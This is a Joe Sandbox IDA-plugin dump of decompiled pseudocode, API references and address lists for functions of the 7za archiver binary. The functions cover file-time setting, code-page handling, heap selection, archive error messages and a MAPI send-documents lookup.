0x00425a85
0x004259d9
0x004259dc
0x004259e0
0x00000000
0x00000000
0x004259e8
0x004259f2
0x004259f3
0x004259f4
0x00425a00
0x00425a02
0x00425a07
0x00425a0a
0x00000000
0x00000000
0x00000000
0x00425a10
0x00425987
0x0042598a
0x0042598d
0x00425992
0x0042599c
0x004259a0
0x004259aa
0x004259ab
0x004259af
0x004259b7
0x004259bb
0x004259c0
0x004259c1
0x004259c1
0x00000000
0x0042598a
0x00425972
0x00425972
0x00000000
0x00425972
0x00425960
0x00000000
0x00425960
0x004257c5
0x004257d1
0x004257d5
0x004257dd
0x004257e2
0x004257e6
0x004257eb
0x004257ee
0x00425830
0x00425835
0x00425837
0x0042584c
0x00425851
0x00425853
0x00425868
0x0042586d
0x0042586f
0x00425884
0x00425889
0x0042588b
0x004258c3
0x004258c8
0x004258ca
0x004258f3
0x004258f8
0x004258fa
0x00425911
0x00425916
0x00425918
0x0042592a
0x0042592f
0x00425931
0x00425943
0x00425948
0x0042594a
0x00425954
0x00000000
0x00425954
0x0042594c
0x0042594f
0x00425902
0x00425902
0x004258db
0x004258db
0x00000000
0x004258db
0x00425933
0x00425936
0x00000000
0x00425936
0x0042591a
0x0042591d
0x00000000
0x0042591d
0x004258fc
0x004258ff
0x00000000
0x004258ff
0x004258d2
0x004258d7
0x004258d9
0x004258e2
0x00000000
0x004258e2
0x00000000
0x004258d9
0x00425893
0x00425897
0x0042589c
0x0042589e
0x004258a7
0x004258ab
0x004258b1
0x004258b1
0x004258a0
0x004258a0
0x004258a0
0x00000000
0x0042589e
0x00425871
0x00425874
0x00000000
0x00425874
0x00425855
0x00425858
0x00000000
0x00425858
0x00425839
0x0042583c
0x00000000
0x0042583c
0x004257f9
0x00425807
0x00425813
0x00425815
0x0042581a
0x0042581d
0x00000000
0x00000000
0x00000000
0x00425823
0x00425774
0x00425774
0x0042577d
0x00425783
0x00425788
0x00000000
0x00425788
0x00425736
0x0042573b
0x0042573e
0x00425754
0x00425757
0x00000000
0x00000000
0x0042575e
0x0042575f
0x00425740
0x00425740
0x00425745
0x00425745
0x00000000
0x00425713
0x00425719
0x0042571e
0x00425721
0x00425722
0x00425789
0x0042578f
0x0042574a
0x0042574a
0x00425b52
0x00425b55
0x00425b5b
0x00425b5d
0x00425b62
0x00425b6b
0x00425b6b
0x00425711
0x004256fd
0x004256fd
0x00000000

APIs

__EH_prolog.LIBCMT ref: 004256D3

Part of subcall function 00407ED0: __EH_prolog.LIBCMT ref: 00407ED5
Part of subcall function 00407ED0: CharUpperW.USER32 ref: 00407EED
Part of subcall function 00407ED0: GetLastError.KERNEL32(?,?,00000000), ref: 00407EF9
Part of subcall function 00407ED0: CharUpperA.USER32(?), ref: 00407F2C

Part of subcall function 0042547B: __EH_prolog.LIBCMT ref: 00425480

Part of subcall function 00425585: __EH_prolog.LIBCMT ref: 0042558A

Part of subcall function 0042633E: __EH_prolog.LIBCMT ref: 00426343

Part of subcall function 00425B6E: __EH_prolog.LIBCMT ref: 00425B73

Part of subcall function 00426261: __EH_prolog.LIBCMT ref: 00426266

Part of subcall function 00425C04: __EH_prolog.LIBCMT ref: 00425C09

Part of subcall function 004251BA: __EH_prolog.LIBCMT ref: 004251BF

Part of subcall function 00425C5B: __EH_prolog.LIBCMT ref: 00425C60

Part of subcall function 00422D4A: __EH_prolog.LIBCMT ref: 00422D4F

Strings

CRC, xrefs: 00425766
HCF, xrefs: 0042587F
RSFX, xrefs: 0042582B
-B, xrefs: 00425992

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004098CF, Relevance: 9.1, APIs: 6, Instructions: 73

C-Code - Quality: 100%

			E004098CF(WCHAR* __ecx, FILETIME* __edx) {
				void* _t26;
				signed int _t27;
				signed int _t37;
				void* _t52;

				E0046B890(E00473A10, _t52);
				 *(_t52 - 0x18) = __edx;
				 *((intOrPtr*)(_t52 - 0x14)) = __ecx;
				if( *0x490a7c != 0) {
					_t26 = CreateFileW(__ecx, 0x40000000, 3, 0, 3, 0x2000000, 0);
					 *(_t52 - 0x10) = _t26;
					if(_t26 == 0xffffffff) {
						 *(_t52 - 0x24) = 0;
						 *((intOrPtr*)(_t52 - 0x20)) = 0;
						 *((intOrPtr*)(_t52 - 0x1c)) = 0;
						E00401E9A(_t52 - 0x24, 3);
						 *(_t52 - 4) =  *(_t52 - 4) & 0x00000000;
						if(E0040B863(_t52 - 0x24) != 0) {
							 *(_t52 - 0x10) = CreateFileW( *(_t52 - 0x24), 0x40000000, 3, 0, 3, 0x2000000, 0);
						}
						E00407A18( *(_t52 - 0x24));
					}
					_t37 = 0;
					if( *(_t52 - 0x10) != 0xffffffff) {
						_t37 = 0 | SetFileTime( *(_t52 - 0x10),  *(_t52 - 0x18),  *(_t52 + 8),  *(_t52 + 0xc)) != 0x00000000;
						CloseHandle( *(_t52 - 0x10));
					}
					_t27 = _t37;
				} else {
					SetLastError(0x78);
					_t27 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t52 - 0xc));
				return _t27;
			}

0x004098d4
0x004098e3
0x004098e6
0x004098e9
0x00409918
0x0040991d
0x00409920
0x00409929
0x0040992c
0x0040992f
0x00409932
0x0040993a
0x00409948
0x00409959
0x00409959
0x0040995f
0x00409964
0x00409965
0x0040996b
0x00409984
0x00409987
0x00409987
0x0040998e
0x004098eb
0x004098ed
0x004098f3
0x004098f3
0x00409995
0x0040999d

APIs

__EH_prolog.LIBCMT ref: 004098D4
SetLastError.KERNEL32(00000078), ref: 004098ED
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00409918
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00409957
SetFileTime.KERNEL32(000000FF,?,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00409979
CloseHandle.KERNEL32(000000FF), ref: 00409987

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00471830, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 143

C-Code - Quality: 92%

			E00471830(int _a4) {
				signed int _v8;
				char _v21;
				char _v22;
				struct _cpinfo _v28;
				void* __ebx;
				void* __edi;
				intOrPtr* _t36;
				signed int _t40;
				signed int _t41;
				int _t43;
				signed int _t47;
				signed int _t49;
				int _t50;
				signed char* _t51;
				signed int _t55;
				signed char* _t57;
				signed int _t60;
				intOrPtr* _t63;
				signed int _t65;
				signed char _t66;
				signed char _t68;
				signed char _t69;
				signed int _t70;
				void* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				void* _t85;

				E0046E56A(0x19);
				_t50 = E004719DD(_a4);
				_t85 = _t50 -  *0x496228; // 0x4e4
				_a4 = _t50;
				if(_t85 != 0) {
					__eflags = _t50;
					if(_t50 == 0) {
						L30:
						E00471A5A();
					} else {
						_t65 = 0;
						__eflags = 0;
						_t36 = 0x490638;
						while(1) {
							__eflags =  *_t36 - _t50;
							if( *_t36 == _t50) {
								break;
							}
							_t36 = _t36 + 0x30;
							_t65 = _t65 + 1;
							__eflags = _t36 - 0x490728;
							if(_t36 < 0x490728) {
								continue;
							} else {
								_t43 = GetCPInfo(_t50,  &_v28);
								_t81 = 1;
								__eflags = _t43 - _t81;
								if(_t43 != _t81) {
									__eflags =  *0x49384c;
									if( *0x49384c == 0) {
										_t77 = _t81 | 0xffffffff;
										__eflags = _t77;
									} else {
										goto L30;
									}
								} else {
									 *0x496444 =  *0x496444 & 0x00000000;
									_t60 = 0x40;
									__eflags = _v28 - _t81;
									memset(0x496340, 0, _t60 << 2);
									asm("stosb");
									 *0x496228 = _t50;
									if(__eflags <= 0) {
										 *0x49623c =  *0x49623c & 0x00000000;
										__eflags =  *0x49623c;
									} else {
										__eflags = _v22;
										if(_v22 != 0) {
											_t63 =  &_v21;
											while(1) {
												_t69 =  *_t63;
												__eflags = _t69;
												if(_t69 == 0) {
													goto L24;
												}
												_t49 =  *(_t63 - 1) & 0x000000ff;
												_t70 = _t69 & 0x000000ff;
												while(1) {
													__eflags = _t49 - _t70;
													if(_t49 > _t70) {
														break;
													}
													 *(_t49 + 0x496341) =  *(_t49 + 0x496341) | 0x00000004;
													_t49 = _t49 + 1;
												}
												_t63 = _t63 + 2;
												__eflags =  *(_t63 - 1);
												if( *(_t63 - 1) != 0) {
													continue;
												}
												goto L24;
											}
										}
										L24:
										_t47 = _t81;
										do {
											 *(_t47 + 0x496341) =  *(_t47 + 0x496341) | 0x00000008;
											_t47 = _t47 + 1;
											__eflags = _t47 - 0xff;
										} while (_t47 < 0xff);
										 *0x496444 = E00471A27(_t50);
										 *0x49623c = _t81;
									}
									_t71 = 0x496230;
									asm("stosd");
									asm("stosd");
									asm("stosd");
									L31:
									E00471A83(_t50, _t71);
									goto L1;
								}
							}
							goto L33;
						}
						_v8 = _v8 & 0x00000000;
						_t55 = 0x40;
						memset(0x496340, 0, _t55 << 2);
						_t79 = _t65 + _t65 * 2 << 4;
						__eflags = _t79;
						asm("stosb");
						_t51 = _t79 + 0x490648;
						do {
							__eflags =  *_t51;
							_t57 = _t51;
							if( *_t51 != 0) {
								while(1) {
									_t66 = _t57[1];
									__eflags = _t66;
									if(_t66 == 0) {
										goto L21;
									}
									_t41 =  *_t57 & 0x000000ff;
									_t74 = _t66 & 0x000000ff;
									__eflags = _t41 - _t74;
									if(_t41 <= _t74) {
										_t19 = _v8 + 0x490630; // 0x8040201
										_t68 =  *_t19;
										do {
											 *(_t41 + 0x496341) =  *(_t41 + 0x496341) | _t68;
											_t41 = _t41 + 1;
											__eflags = _t41 - _t74;
										} while (_t41 <= _t74);
									}
									_t57 =  &(_t57[2]);
									__eflags =  *_t57;
									if( *_t57 != 0) {
										continue;
									}
									goto L21;
								}
							}
							L21:
							_v8 = _v8 + 1;
							_t51 =  &(_t51[8]);
							__eflags = _v8 - 4;
						} while (_v8 < 4);
						_t39 = _a4;
						 *0x49623c = 1;
						 *0x496228 = _a4;
						_t40 = E00471A27(_t39);
						_t71 = 0x496230;
						asm("movsd");
						asm("movsd");
						 *0x496444 = _t40;
						asm("movsd");
					}
					goto L31;
				} else {
					L1:
					_t77 = 0;
				}
				L33:
				E0046E5CB(0x19);
				return _t77;
			}

0x0047183b
0x00471848
0x0047184b
0x00471852
0x00471855
0x0047185e
0x00471860
0x004719bc
0x004719bc
0x00471866
0x00471866
0x00471866
0x00471868
0x0047186d
0x0047186d
0x0047186f
0x00000000
0x00000000
0x00471871
0x00471874
0x00471875
0x0047187a
0x00000000
0x0047187c
0x00471881
0x00471889
0x0047188a
0x0047188c
0x004719b3
0x004719ba
0x004719cb
0x004719cb
0x00000000
0x00000000
0x00000000
0x00471892
0x00471894
0x0047189b
0x004718a3
0x004718a6
0x004718a8
0x004718a9
0x004718af
0x004719a0
0x004719a0
0x004718b5
0x004718b5
0x004718b9
0x004718bf
0x004718c2
0x004718c2
0x004718c4
0x004718c6
0x00000000
0x00000000
0x004718cc
0x004718d0
0x004718d3
0x004718d3
0x004718d5
0x00000000
0x00000000
0x004718db
0x004718e2
0x004718e2
0x00471970
0x00471971
0x00471975
0x00000000
0x00000000
0x00000000
0x00471975
0x004718c2
0x0047197b
0x0047197b
0x0047197d
0x0047197d
0x00471984
0x00471985
0x00471985
0x00471993
0x00471998
0x00471998
0x004719a9
0x004719ae
0x004719af
0x004719b0
0x004719c1
0x004719c1
0x00000000
0x004719c1
0x0047188c
0x00000000
0x0047187a
0x004718e5
0x004718eb
0x004718f6
0x004718f8
0x004718f8
0x004718fb
0x004718fc
0x00471902
0x00471902
0x00471905
0x00471907
0x00471909
0x00471909
0x0047190c
0x0047190e
0x00000000
0x00000000
0x00471910
0x00471913
0x00471916
0x00471918
0x0047191d
0x0047191d
0x00471923
0x00471923
0x00471929
0x0047192a
0x0047192a
0x00471923
0x0047192f
0x00471930
0x00471933
0x00000000
0x00000000
0x00000000
0x00471933
0x00471909
0x00471935
0x00471935
0x00471938
0x0047193b
0x0047193b
0x00471941
0x00471944
0x0047194f
0x00471954
0x0047195f
0x00471964
0x00471965
0x00471967
0x0047196c
0x0047196c
0x00000000
0x00471857
0x00471857
0x00471857
0x00471857
0x004719ce
0x004719d0
0x004719dc

APIs

Part of subcall function 0046E56A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5A7
Part of subcall function 0046E56A: EnterCriticalSection.KERNEL32(?,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5C2

GetCPInfo.KERNEL32(00000000,?,?,?,00000000,?,?,0046CFEB), ref: 00471881

Part of subcall function 00471A83: GetCPInfo.KERNEL32(?), ref: 00471A97

Part of subcall function 0046E5CB: LeaveCriticalSection.KERNEL32(?,0046C0D0,00000009,0046C0BC,00000000,?,00000000,00000000,00000000), ref: 0046E5D8

Strings

0bI, xrefs: 0047195F
@cI, xrefs: 004718EE
@cI, xrefs: 0047189E
0bI, xrefs: 004719A9

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046E91E, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115

C-Code - Quality: 91%

			E0046E91E(void* __ecx, void* __eflags) {
				char _v8;
				struct _OSVERSIONINFOA _v156;
				char _v416;
				char _v4656;
				void* _t24;
				CHAR* _t32;
				void* _t33;
				intOrPtr* _t34;
				void* _t35;
				char _t36;
				char _t38;
				void* _t40;
				char* _t44;
				char* _t45;
				char* _t50;

				E0046CC80(0x122c, __ecx);
				_v156.dwOSVersionInfoSize = 0x94;
				if(GetVersionExA( &_v156) != 0 && _v156.dwPlatformId == 2 && _v156.dwMajorVersion >= 5) {
					_t40 = 1;
					return _t40;
				}
				if(GetEnvironmentVariableA("__MSVCRT_HEAP_SELECT",  &_v4656, 0x1090) == 0) {
					L28:
					_t24 = E0046E8F1( &_v8);
					asm("sbb eax, eax");
					return _t24 + 3;
				}
				_t44 =  &_v4656;
				if(_v4656 != 0) {
					do {
						_t38 =  *_t44;
						if(_t38 >= 0x61 && _t38 <= 0x7a) {
							 *_t44 = _t38 - 0x20;
						}
						_t44 = _t44 + 1;
					} while ( *_t44 != 0);
				}
				if(E00471260("__GLOBAL_HEAP_SELECTED",  &_v4656, 0x16) != 0) {
					GetModuleFileNameA(0,  &_v416, 0x104);
					_t45 =  &_v416;
					if(_v416 != 0) {
						do {
							_t36 =  *_t45;
							if(_t36 >= 0x61 && _t36 <= 0x7a) {
								 *_t45 = _t36 - 0x20;
							}
							_t45 = _t45 + 1;
						} while ( *_t45 != 0);
					}
					_t32 = E004711E0( &_v4656,  &_v416);
				} else {
					_t32 =  &_v4656;
				}
				if(_t32 == 0) {
					goto L28;
				}
				_t33 = E00471120(_t32, 0x2c);
				if(_t33 == 0) {
					goto L28;
				}
				_t34 = _t33 + 1;
				_t50 = _t34;
				if( *_t34 != 0) {
					do {
						if( *_t50 != 0x3b) {
							_t50 = _t50 + 1;
						} else {
							 *_t50 = 0;
						}
					} while ( *_t50 != 0);
				}
				_t35 = E00470EE6(_t34, 0, 0xa);
				if(_t35 != 2 && _t35 != 3 && _t35 != 1) {
					goto L28;
				}
				return _t35;
			}

0x0046e926
0x0046e933
0x0046e945
0x0046e95b
0x00000000
0x0046e95b
0x0046e97a
0x0046ea50
0x0046ea54
0x0046ea5e
0x00000000
0x0046ea60
0x0046e982
0x0046e98e
0x0046e990
0x0046e990
0x0046e994
0x0046e99c
0x0046e99c
0x0046e99e
0x0046e99f
0x0046e990
0x0046e9bb
0x0046e9d2
0x0046e9de
0x0046e9e4
0x0046e9e6
0x0046e9e6
0x0046e9ea
0x0046e9f2
0x0046e9f2
0x0046e9f4
0x0046e9f5
0x0046e9e6
0x0046ea07
0x0046e9bd
0x0046e9bd
0x0046e9bd
0x0046ea10
0x00000000
0x00000000
0x0046ea15
0x0046ea1e
0x00000000
0x00000000
0x0046ea20
0x0046ea21
0x0046ea25
0x0046ea27
0x0046ea2a
0x0046ea30
0x0046ea2c
0x0046ea2c
0x0046ea2c
0x0046ea31
0x0046ea27
0x0046ea39
0x0046ea44
0x00000000
0x00000000
0x0046ea65

APIs

GetVersionExA.KERNEL32 ref: 0046E93D
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 0046E972
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0046E9D2

Part of subcall function 0046E8F1: GetModuleHandleA.KERNEL32(00000000,?,0046EA59,?), ref: 0046E8FB

Strings

__MSVCRT_HEAP_SELECT, xrefs: 0046E96D
__GLOBAL_HEAP_SELECTED, xrefs: 0046E9AC

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00401BE5, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 55

C-Code - Quality: 77%

			E00401BE5(void* __ecx) {
				intOrPtr* _t22;
				char* _t27;
				intOrPtr _t29;
				char* _t42;
				void* _t45;
				void* _t47;

				E0046B890(E00472D20, _t47);
				_t45 = __ecx;
				_t42 = E00407CCD;
				E00407CC0( *((intOrPtr*)(__ecx + 0x40)), E00407CCD);
				_t29 =  *((intOrPtr*)(_t47 + 0xc));
				if(_t29 != 0) {
					E00407CD5( *((intOrPtr*)(__ecx + 0x40)), "Error: ");
					if(_t29 != 1) {
						if(_t29 != 0x8007000e) {
							_t22 = E00401C91(_t47 - 0x18, _t29);
							 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
							E00407CD5( *((intOrPtr*)(__ecx + 0x40)),  *_t22);
							 *(_t47 - 4) =  *(_t47 - 4) | 0xffffffff;
							E00407A18( *((intOrPtr*)(_t47 - 0x18)));
						} else {
							_push("Can\'t allocate required memory");
							goto L5;
						}
					} else {
						_t27 = "Can not open encrypted archive. Wrong password?";
						if( *((char*)(_t47 + 0x10)) == 0) {
							_t27 = "Can not open file as archive";
						}
						_push(_t27);
						L5:
						E00407CD5( *((intOrPtr*)(_t45 + 0x40)));
					}
					E00407CC0( *((intOrPtr*)(_t45 + 0x40)), _t42);
					 *((intOrPtr*)(_t45 + 0x28)) =  *((intOrPtr*)(_t45 + 0x28)) + 1;
					asm("adc dword [esi+0x2c], 0x0");
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0xc));
				return 0;
			}

0x00401bea
0x00401bf5
0x00401bf7
0x00401c00
0x00401c05
0x00401c0a
0x00401c14
0x00401c1c
0x00401c3f
0x00401c4d
0x00401c57
0x00401c5b
0x00401c63
0x00401c67
0x00401c41
0x00401c41
0x00000000
0x00401c41
0x00401c1e
0x00401c22
0x00401c27
0x00401c29
0x00401c29
0x00401c2e
0x00401c2f
0x00401c32
0x00401c32
0x00401c71
0x00401c76
0x00401c7a
0x00401c7a
0x00401c86
0x00401c8e

APIs

__EH_prolog.LIBCMT ref: 00401BEA

Part of subcall function 00401C91: __EH_prolog.LIBCMT ref: 00401C96

Strings

Error: , xrefs: 00401C0F
Can not open encrypted archive. Wrong password?, xrefs: 00401C22, 00401C2E
Can not open file as archive, xrefs: 00401C29
Can't allocate required memory, xrefs: 00401C41

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0041AA2D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49

C-Code - Quality: 93%

			E0041AA2D(void* __ebx, void* __ecx, void* __edx, void* __edi) {
				void* _t121;
				void* _t124;

				E0046B8F4(0, 0);
				__eax = GetProcAddress( *(__ebp + 0x14), "MAPISendDocuments");
				__eflags = __eax - __ebx;
				 *(__ebp + 8) = __eax;
				if(__eax != __ebx) {
					__ecx = __ebp - 0x138;
					__eax = E0041B927(__ebp - 0x138);
					__eflags =  *((intOrPtr*)(__esi + 0x20)) - __ebx;
					 *(__ebp - 4) = 0x28;
					 *(__ebp + 0xc) = __ebx;
					if(__eflags <= 0) {
						L8:
						__ecx = __ebp - 0x168;
						__eax = E0041B838(__ebp - 0x168, __edi, __eflags);
						__esi = 0;
						__eflags =  *((intOrPtr*)(__ebp - 0x130)) - __ebx;
						 *(__ebp - 4) = 0x2b;
						if( *((intOrPtr*)(__ebp - 0x130)) > __ebx) {
							do {
								__eax =  *(__ebp - 0x12c);
								__ecx = __ebp - 0x144;
								__eax = E004039C0(__ebp - 0x144,  *((intOrPtr*)( *(__ebp - 0x12c) + __esi * 4)));
								__edx = __ebp - 0x144;
								__ecx = __ebp - 0xec;
								 *(__ebp - 4) = 0x2c;
								__eax = E00408963(__ebp - 0x144);
								__edx = __ebp - 0x144;
								__ecx = __ebp - 0x150;
								 *(__ebp - 4) = 0x2d;
								__eax = E0041AE3F();
								__edx = __ebp - 0xec;
								__ecx = __ebp - 0x15c;
								 *(__ebp - 4) = 0x2e;
								__eax = E0041AE3F();
								 *(__ebp - 4) = 0x2f;
								 *(__ebp + 8)(__ebx, ";",  *(__ebp - 0x150),  *(__ebp - 0x15c), __ebx) = E00407A18( *(__ebp - 0x15c));
								E00407A18( *(__ebp - 0x150)) = E00407A18( *(__ebp - 0xec));
								 *(__ebp - 4) = 0x2b;
								__eax = E00407A18( *(__ebp - 0x144));
								__esi = __esi + 1;
								__eflags = __esi -  *((intOrPtr*)(__ebp - 0x130));
							} while (__esi <  *((intOrPtr*)(__ebp - 0x130)));
						}
						__ecx = __ebp - 0x168;
						 *(__ebp - 4) = 0x28;
						__eax = E0041B875(__ebp - 0x168);
						__ecx = __ebp - 0x138;
						 *(__ebp - 4) = 0x27;
						__eax = E004036A1(__ebp - 0x138);
						__ecx = __ebp + 0x14;
						 *(__ebp - 4) = 0x15;
						__eax = E0040960A(__ebp + 0x14);
						__ecx = __ebp - 0x4c;
						 *(__ebp - 4) = 0x11;
						__eax = E0041BA22(__ebp - 0x4c);
						__ecx = __ebp - 0x78;
						 *(__ebp - 4) = 0x10;
						__eax = E0041AE89(__ebp - 0x78);
						__ecx = __ebp - 0x88;
						 *(__ebp - 4) = 0xf;
						E0041AE59(__ebp - 0x88) = E00407A18( *((intOrPtr*)(__ebp - 0x38)));
						 *(__ebp - 4) = 4;
						__ecx = __ebp - 0x1b8;
						E004102DF(__ebp - 0x1b8, __eflags) = E00407A18( *((intOrPtr*)(__ebp - 0x2c)));
						 *(__ebp - 4) =  *(__ebp - 4) | 0xffffffff;
						__ecx = __ebp - 0x124;
						E00403411(__ebp - 0x124) = 0;
						__eflags = 0;
					} else {
						while(1) {
							__eax =  *(__esi + 0x24);
							__ecx =  *(__ebp + 0xc);
							__eax =  *( *(__esi + 0x24) +  *(__ebp + 0xc) * 4);
							__ecx = __ebp - 0x20;
							__ebx =  *( *(__esi + 0x24) +  *(__ebp + 0xc) * 4) + 0xc;
							E0040351A(__ebp - 0x20) = __ebp - 0xec;
							__ecx =  *( *(__esi + 0x24) +  *(__ebp + 0xc) * 4) + 0xc;
							_push(__ebp - 0xec);
							 *(__ebp - 4) = 0x29;
							__eax = E0041ACE8( *( *(__esi + 0x24) +  *(__ebp + 0xc) * 4) + 0xc, __edx, __eflags);
							__eax =  *__eax;
							__edx = __ebp - 0x20;
							__ecx = __eax;
							 *(__ebp - 4) = 0x2a;
							__eax = E0040A5AF();
							 *(__ebp - 4) = 0x29;
							asm("sbb bl, bl");
							__eax = E00407A18( *(__ebp - 0xec));
							__eflags =  ~__al + 1;
							if( ~__al + 1 != 0) {
								break;
							}
							__eax = __ebp - 0x20;
							__ecx = __ebp - 0x138;
							_push(__ebp - 0x20);
							__eax = E00406796(__ebp - 0x138);
							 *(__ebp - 4) = 0x28;
							__eax = E00407A18( *(__ebp - 0x20));
							 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
							__eax =  *(__ebp + 0xc);
							__eflags =  *(__ebp + 0xc) -  *((intOrPtr*)(__esi + 0x20));
							if( *(__ebp + 0xc) <  *((intOrPtr*)(__esi + 0x20))) {
								continue;
							} else {
								__ebx = 0;
								__eflags = 0;
								goto L8;
							}
							goto L12;
						}
						__eax = GetLastError();
						__ecx =  &(__edi[7]);
						 *__edi = __eax;
						E00403593( &(__edi[7]), L"GetFullPathName error") = E00407A18( *(__ebp - 0x20));
						 *(__ebp - 4) = 0x27;
						__ecx = __ebp - 0x138;
						__eax = E004036A1(__ecx);
						goto L14;
					}
				} else {
					 *__edi = GetLastError();
					_push(L"7-Zip cannot find MAPISendDocuments function");
					E00403593(__edi + 0x1c);
					L14:
					 *(_t121 - 4) = 0x15;
					E0040960A(_t121 + 0x14);
					 *(_t121 - 4) = 0x11;
					E0041BA22(_t121 - 0x4c);
					 *(_t121 - 4) = 0x10;
					E0041AE89(_t121 - 0x78);
					 *(_t121 - 4) = 0xf;
					E0041AE59(_t121 - 0x88);
					E00407A18( *((intOrPtr*)(_t121 - 0x38)));
					 *(_t121 - 4) = 4;
					E004102DF(_t121 - 0x1b8, _t124);
					E00407A18( *((intOrPtr*)(_t121 - 0x2c)));
					 *(_t121 - 4) =  *(_t121 - 4) | 0xffffffff;
					E00403411(_t121 - 0x124);
				}
				L12:
				 *[fs:0x0] =  *((intOrPtr*)(_t121 - 0xc));
				return 0x80004005;
			}

0x0041aa31
0x0041aa3e
0x0041aa44
0x0041aa46
0x0041aa49
0x0041aa5a
0x0041aa60
0x0041aa65
0x0041aa68
0x0041aa6c
0x0041aa6f
0x0041aaf0
0x0041aaf0
0x0041aaf6
0x0041aafb
0x0041aafd
0x0041ab03
0x0041ab07
0x0041ab0d
0x0041ab0d
0x0041ab13
0x0041ab1c
0x0041ab21
0x0041ab27
0x0041ab2d
0x0041ab31
0x0041ab36
0x0041ab3c
0x0041ab42
0x0041ab46
0x0041ab4b
0x0041ab51
0x0041ab57
0x0041ab5b
0x0041ab61
0x0041ab80
0x0041ab96
0x0041aba1
0x0041aba5
0x0041abad
0x0041abae
0x0041abae
0x0041ab0d
0x0041abba
0x0041abc0
0x0041abc4
0x0041abc9
0x0041abcf
0x0041abd3
0x0041abd8
0x0041abdb
0x0041abdf
0x0041abe4
0x0041abe7
0x0041abeb
0x0041abf0
0x0041abf3
0x0041abf7
